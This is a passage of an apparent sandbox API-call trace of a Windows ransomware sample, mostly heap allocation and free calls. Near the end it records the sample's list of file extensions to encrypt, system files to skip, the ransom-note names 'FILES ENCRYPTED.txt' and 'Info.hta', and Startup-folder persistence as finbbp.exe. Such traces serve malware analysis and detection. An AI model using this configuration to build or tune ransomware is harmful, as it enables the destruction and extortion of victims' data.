0x535d70 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535dd0 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535cb0 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535d58 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535cc8 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ed8 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535cf8 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535d10 [0282.669] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535e18 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535da0 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535db8 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dd68 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535e00 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ea8 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535e60 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dc78 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ec0 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535de8 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535e30 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535f50 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535e78 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ef0 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535e90 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535f08 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x535f68 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x536088 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535f98 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535fb0 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536070 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x536058 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5360b8 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5360a0 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536118 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536028 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535fe0 [0282.670] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535ff8 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5360e8 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dd78 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x6) returned 0x51dd88 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535fc8 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536010 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536040 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5360d0 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536100 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x536130 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x535f80 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536308 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536458 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536350 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x536290 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5363b0 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536320 [0282.671] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x523280, Size=0x400) returned 0x536d60 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536380 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5361b8 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5363f8 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536410 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536338 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536200 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x536218 [0282.671] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5363e0 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5363c8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5362c0 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dd98 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5362a8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x536428 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5362d8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5361d0 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536440 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536368 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x536398 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536260 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536278 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5362f0 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536188 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536470 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5361a0 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5361e8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536230 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51dda8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536248 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536488 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536668 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536740 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5364e8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5366c8 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536758 [0282.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536500 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5366b0 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x5365c0 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5365f0 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x536770 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536638 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536590 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536650 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536578 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5364a0 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5365d8 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536728 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536608 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536620 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5364b8 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536680 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536698 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536548 [0282.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5364d0 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5366e0 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5366f8 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536518 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536530 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536710 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5365a8 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536560 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5368c0 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536860 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x10) returned 0x536878 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x12) returned 0x4f62d0 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536830 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536890 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5368f0 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5368a8 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536908 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5368d8 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5367a0 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536920 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536938 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5367b8 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536788 [0282.674] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5367d0 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536848 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5367e8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536800 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x536818 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5372d0 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537258 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537468 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5372e8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5371f8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x537228 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x537270 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xe) returned 0x537480 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5371b0 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51ddf8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5373c0 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51de08 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537210 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537330 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x5373d8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5372b8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5371c8 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537288 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5371e0 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537378 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537198 [0282.675] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x5372a0 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537240 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x537300 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xc) returned 0x537318 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537348 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x8) returned 0x51de28 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537360 [0282.676] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0xa) returned 0x537390 [0282.676] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0282.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x534948 | out: hHeap=0x4e0000) returned 1 [0282.676] lstrlenW (lpString="") returned 0 [0282.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x538958 | out: hHeap=0x4e0000) returned 1 [0282.676] lstrlenW (lpString=".love$") returned 6 [0282.676] lstrlenW (lpString=".love$") returned 6 [0282.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5388b0 | out: hHeap=0x4e0000) returned 1 [0282.676] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0282.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x534ca0 | out: hHeap=0x4e0000) returned 1 [0282.677] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0282.677] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0282.677] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f79c8 | out: hHeap=0x4e0000) returned 1 [0282.677] lstrlenW (lpString="Info.hta") returned 8 [0282.677] lstrlenW (lpString="Info.hta") returned 8 [0282.677] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d670 | out: hHeap=0x4e0000) returned 1 [0282.677] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x555148, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0282.677] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555148 | out: hHeap=0x4e0000) returned 1 [0282.677] lstrlenW (lpString="finbbp.exe") returned 10 [0282.677] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0282.677] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5759c0 | out: hHeap=0x4e0000) returned 1 [0282.678] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x555148, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0282.678] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x565150 | out: hHeap=0x4e0000) returned 1 [0282.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x555148 | out: hHeap=0x4e0000) returned 1 [0282.680] lstrlenW (lpString="%windir%;") returned 9 [0282.680] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d5f8 | out: hHeap=0x4e0000) returned 1 [0282.680] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0282.680] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x545140 | out: hHeap=0x4e0000) returned 1 [0282.681] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0282.681] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x575cd8 | out: hHeap=0x4e0000) returned 1 [0282.682] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x545140, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0282.682] lstrlenW (lpString="C:\\") returned 3 [0282.682] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0282.682] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x545140 | out: hHeap=0x4e0000) returned 1 [0282.684] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51dec8 | out: hHeap=0x4e0000) returned 1 [0282.684] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x536e70 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x538280 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x534a80 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x538490 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x534b08 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x538448 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x536d60 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x538430 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5233a0 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5382e0 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523430 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x538298 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51df38 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5382c8 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x523280 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5383d0 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5356b8 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5383b8 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51dfe8 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5381f0 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57a8 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f61d0 | out: hHeap=0x4e0000) returned 1 [0282.685] lstrlenW (lpString="%systemdrive%") returned 13 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51d7b0 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x535410 | out: hHeap=0x4e0000) returned 1 [0282.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x51def8 | out: hHeap=0x4e0000) returned 1 [0282.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x524928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0282.687] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.